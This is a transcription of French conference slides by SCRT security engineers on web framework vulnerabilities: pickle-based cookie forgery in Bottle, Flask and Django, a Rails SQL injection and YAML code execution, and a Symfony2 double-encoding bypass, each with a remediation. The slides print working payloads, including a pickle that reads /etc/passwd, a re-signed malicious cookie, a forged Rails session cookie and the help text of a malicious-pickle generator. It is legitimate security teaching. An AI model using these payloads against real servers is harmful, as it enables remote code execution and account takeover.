SCRT - GSDays
Transcription
SCRT - GSDays
Vulnérabilités des frameworks web modernes 1 Nicolas Oberli – Security Engineer Florent Batard – Security Engineer Chapitres de la présentation › › › Vulnérabilités Known Secret › Flask › Bottle › Django › Ruby On Rails Vulnérabilités YAML › Ruby On Rails › Symfony2 Vulnérabilités routing › Symfony2 double encodage 2 Known Secret Description du known secret ● ● ● ● Django Bottle Flask Ruby On Rails 3 Known secret | Introduction La plupart des frameworks permettent de proté › ger les cookies de session contre la modification › Permet d'éviter de forger un cookie › Se base sur un secret partagé › Exemple en Django settings.py : # Make this unique, and don't share it with anybody. SECRET_KEY = 'u+%s^63&)i3z0uu+-%z824xx8*_)935u+_#dcju^j&5!!3xnk@' 4 Known secret | Implémentation › Cette valeur doit rester secrète et être unique pour chaque instance › Estce toujours le cas ? 5 6 Known secret | Fonctionnement Comment les données sontelles stockées dans › un cookie ? › Un exemple avec bottle bottle.py : def set_cookie(self, name, value, secret=None, **options): if secret: value = touni(cookie_encode((name, value), secret)) elif not isinstance(value, basestring): raise TypeError('Secret key missing for non-string Cookie.') bottle.py : def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg 7 Known secret | Pickle ? « The pickle module implements a fundamental, › but powerful algorithm for serializing and dese rializing a Python object structure. […] » › Permet de sérialiser des objets en Python In [1]: import pickle In [2]: s="Hello" In [3]: pickle.dumps(s) Out[3]: "S'Hello'\np0\n." 8 Known secret | Pickle | Fonctionne ment Les données sérialisées sont traitées par une › virtual machine interne à Pickle >>> pickletools.dis("S'Hello'\np0\n.") 0: S STRING 'Hello' 9: p PUT 0 12: . STOP La VM se base sur une succession d'opérations › sur une pile › De nombreux opcodes sont disponibles pour appeler d'autres fonctions de Python 9 Pickle | Exemple d'appel système >>> print subprocess.check_output(['cat','/etc/passwd']) root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false >>> pickletools.dis("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.") 0: c GLOBAL 'subprocess check_output' 25: ( MARK 26: ( MARK 27: S STRING 'cat' 34: S STRING '/etc/passwd' 49: l LIST (MARK at 26) 50: t TUPLE (MARK at 25) 51: R REDUCE 52: . STOP >>> print pickle.loads("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.") root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false 10 Known secret | Exemple › Prenons l'application suivante : from bottle import route, run, response, request @route('/') def main(): value = request.get_cookie('account', secret='SecretK3y') return value @route('/login') def do_login(): response.set_cookie('account','user', secret='SecretK3y') run(host='0.0.0.0', port=8080, debug=True, reloader=True) 11 Known secret | Exemple | Cookie › Bottle créé le cookie comme suit : def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg › Le cookie suivant est retourné au browser : !iOHrcSe+PHzVpBE1P2QgeQ==?gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg== >>> 'gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg=='.decode('base64') '\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.' >>>pickle.loads('\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.') ('account', u'user') 12 Known secret | Exemple | Modification › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des commandes sur le serveur : >>> import hmac, base64 >>> payload = "(S'account'\ncsubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltRt." >>> msg = base64.b64encode(payload) >>> sig = base64.b64encode(hmac.new('$ecretK3y', msg).digest()) >>> print '!'+sig+'?'+msg !U8ZWFOPdVLnRe4VoSLJ0kw==?KFMnYWNjb3VudCcKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CigoUydjYXQnClMnL2V0Yy9wYXNzd2QnCmx0UnQu 13 Known secret | Exemple | Demo Épreuve proposée lors d'Insomni'hack 2013 › › But : Trouver le flag se trouvant dans /etc/motd › Application Bottle vulnérable › Une seul équipe a exploité cette vulnérabilité 14 Known secret | Application Plusieurs frameworks sont vulnérables › › Bottle › Flask › Django 15 Known secret | Automatisation Présentation de PPPP › › Python Problematic Pickle Printer › Permet de créer des Pickles malicieux › Encode directement les Pickles sous forme de cookies pour les principaux frameworks Python 16 Known secret | Automatisation | Exemple $ python pppp.py -h usage: pppp.py [-h] [-o {django,werkzeug,bottle,raw}] [-k SECRET_KEY] -p {connect_back,read_file,command_exec} -a ARGUMENT [-n VAR_NAME] [-m HASH_TYPE] Generates harmful pickles for various uses (and fun) optional arguments: -h, --help show this help message and exit -o {django,werkzeug,bottle,raw}, --output {django,werkzeug,bottle,raw} Pickle output format -k SECRET_KEY, --key SECRET_KEY Application's secret key -p {connect_back,read_file,command_exec}, --payload {connect_back,read_file,command_exec} Payload type -a ARGUMENT, --argument ARGUMENT Payload's argument -n VAR_NAME, --name VAR_NAME Var name for the pickled payload -m HASH_TYPE, --mac HASH_TYPE (Werkzeug only) specify the hash type 17 Known secret | Automatisation | Demo › Génération de pickles › Exploitation › Shell distant 18 Known secret | Documentation › Actuellement, seul Django met clairement en garde contre la divulgation de la clé secrète › Werkzeug (Flask) l'indique uniquement dans la documentation › Bottle indique uniquement que la clé sert à pré venir la manipulation des cookies 19 Known secret | Remédiation Django › Se passer de secure_cookies › Flask / Werkzeug › La classe SecureCookie peut changer de méthode de › sérialisation › par exemple JSON import json from werkzeug.contrib.securecookie import SecureCookie class JSONSecureCookie(SecureCookie): serialization_method = json › Rien n'est documenté pour Bottle 20 Known Secret | Ruby On Rails Faille ActiveRecord › Le problème vient des dynamic finders › › find_by_col(params[:toto]) › Toutes les versions de Ruby sont affectées › Cela ne remet pas en cause la sanitation des requêtes SQL dans Rails Pour exploiter cette vulnérabilité on doit : › › Avoir AuthLogic activé pour l'authentification › Connaître le secret session token 21 Known Secret | Ruby On Rails Description de la faille › Rails donne accès a des « finder dynamiques » pour › chercher dans les tables liées dans ActiveRecord › User.find_by_name(params[:id]) ActiveRecord protège ces arguments des SQL injec › tions : › User.find_by_name(''scrt' ; DROP TABLE USERS ; – '') › # => SELECT * FROM users WHERE name = 'scrt\'; DROP TABLE USERS; ' LIMIT 1 22 Known Secret | Ruby On Rails Description de la faille › Cependant ActiveRecord autorise de paramétrer les › requêtes du finder dynamique : › User.find_by_name("scrt", :select => "id, name") › # => SELECT id, name FROM users WHERE name = 'scrt' LIMIT 1 Ces paramètres sont alors injectables : › › User.find_by_name("kotori", :select => "id, name FROM users; DROP TABLE users; –") › # => SELECT id, name FROM users; DROP TABLE users; FROM users WHERE name = 'kotori' LIMIT 1 23 Known Secret | Ruby On Rails Description de la faille › Le second paramètre est rarement utilisé mais la › commande suivante est largement utilisé : › User.find_by_name(params[:name]) Il faut alors passer par un subterfuge pour créer un ta › bleau à partir des arguments : › /vulnurl?name[select]=nimp&name[limit]=23 › On a alors créer un hash {''select''=>''nimp, ''limit'' => 23} › Mais cela ne marche pas car on vient de créer des strings et non pas des symboles au sens Ruby 24 Known Secret | Ruby On Rails › Seules les requêtes avec un hash ou bien une string pourront être impactée. › Ça tombe bien Authlogic utilise cette méthode pour mettre un token › › User.find_by_persistence_token(the_token) Il nous reste a forger un token de la forme : › { "session_id" => "1111111", "user_credentials"=>"Admin", "user_credentials_id"=> SQL INJECTION} Problème → Le cookie est signé avec un SHA1HMAC 25 Known Secret | Ruby On Rails › Comment trouver le secret_token pour signer notre cookie ? 26 Known Secret | Ruby On Rails › Cookie final pour se faire passer pour n'importe quel utilisateur : { "session_id" => "41414141", "user_credentials"=>"Admin", "user_credentials_id"=>{ :select=> " *,\"Admin\" as persistence_token from Users " } } Et signé avec le secret_token obtenu ! 27 Known Secret | Ruby On Rails Mitigation › › Déployer le patch correctif pour Rails › Vérifier que vous passez bien que des strings dans les finder dy namiques › find_by_name(params[:name].to_s) › NE DIFFUSER PAS VOTRE SECRET_TOKEN ! › Ressources sur les cookies : › https://github.com/joernchen/evil_stuff/blob/master/ruby/signcookie.rb › http://blog.phishme.com/wpcontent/uploads/BustRailsCookie.rb › Exploits Metasploit : › exploit/multi/http/rails_json_yaml_code_exec › exploit/multi/http/rails_xml_yaml_code_exec 28 Faille YAML Description de la faille YAML ● ● Ruby On Rails Symfony2 29 Faille YAML | Ruby On Rails Ruby On Rails est capable de parser des argu › ments dans différents formats. › On pourrait par exemple mettre : › POST / ContentType : application/xml <?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> <bar type="float">1.3</bar> </hash> 30 Faille YAML | Ruby On Rails La prise en charge de ces paramètres est gérée › par : ActiveSupport::XmlMini::PARSING › Malheureusement il ne gère pas que des types simples mais aussi des type très importants dans ruby : › Type : symbol (constantes internes le plus souvent) › Type : yaml (langage utilisé pour les configurations) - !ruby/object:Person name: John Doe sname: jdoe email: [email protected] - !ruby/object:Person name: Jane Doe sname: jdoe email: [email protected] 31 Faille YAML | Ruby On Rails Comment exploiter ces possibilités ? › › Nous pouvons invoquer n'importe quelle classe interne › Nous pouvons instancier des objets › Il ne nous reste plus qu'à injecter la payload › Façon Metasploit : Autre façon : --- ! arel = Arel::Nodes::SqlLiteral.new("foo") ruby/hash:ActionDispatch::Routing::RouteSet::Na Blog.find_by_id(arel) medRouteCollection !ruby/object:OpenStruct 32 Faille YAML | Ruby On Rails › La même faille s'applique au parser JSON › Mitigation › Le patch est disponible pour Rails › Modifier ActionDispatch::ParameterParser::DEFAULT_PARSERS pour désactiver si non nécessaire 33 Faille YAML | Symfony2 Le parser YAML embarqué a Symfony2 est évalué › comme du PHP avant d'être parsé en YAML › Le parser YAML peut parser et dumper des objets › PHP avec la notation : › !!php/object: Ces failles ne sont exploitables qu'avec la méthode : › › Yaml::parse($filename); 34 Faille Double Encoding Description de la faille Double Encoding ● Symfony2 35 Faille Double Encoding | Symfony2 36 Faille Double Encoding | Symfony2 Pour récupérer le path les composants utilisent › getPathInfo() › Composant Routing décode deux fois le path › Composant Security décode UNE seule fois le path Firewall Symfony : security.yml secured_area: pattern: ^/foo/ form_login: check_path: /foo/login_check login_path: /foo/login Définition des controllers /** * @Route("/foo") */ 37 Faille Double Encoding | Symfony2 › Démo Time › Encodage simple : /%66oo › Encodage double : /%2566oo correspond à une route mais pas aux règles firewall 38 Faille Double Encoding | Symfony2 › Mitigation › Mise à jour de Symfony › Retoucher a la main la gestion d'encodage des routes 39 Conclusion › Les frameworks web ne sont pas la panacée › Une connaissance interne ou suivi de la sécurité est nécessaire › Vérifier les vulnérabilités régulièrement et mettre à jour si besoin 40 Merci ! › Merci pour votre attention ! › [email protected] › [email protected] 41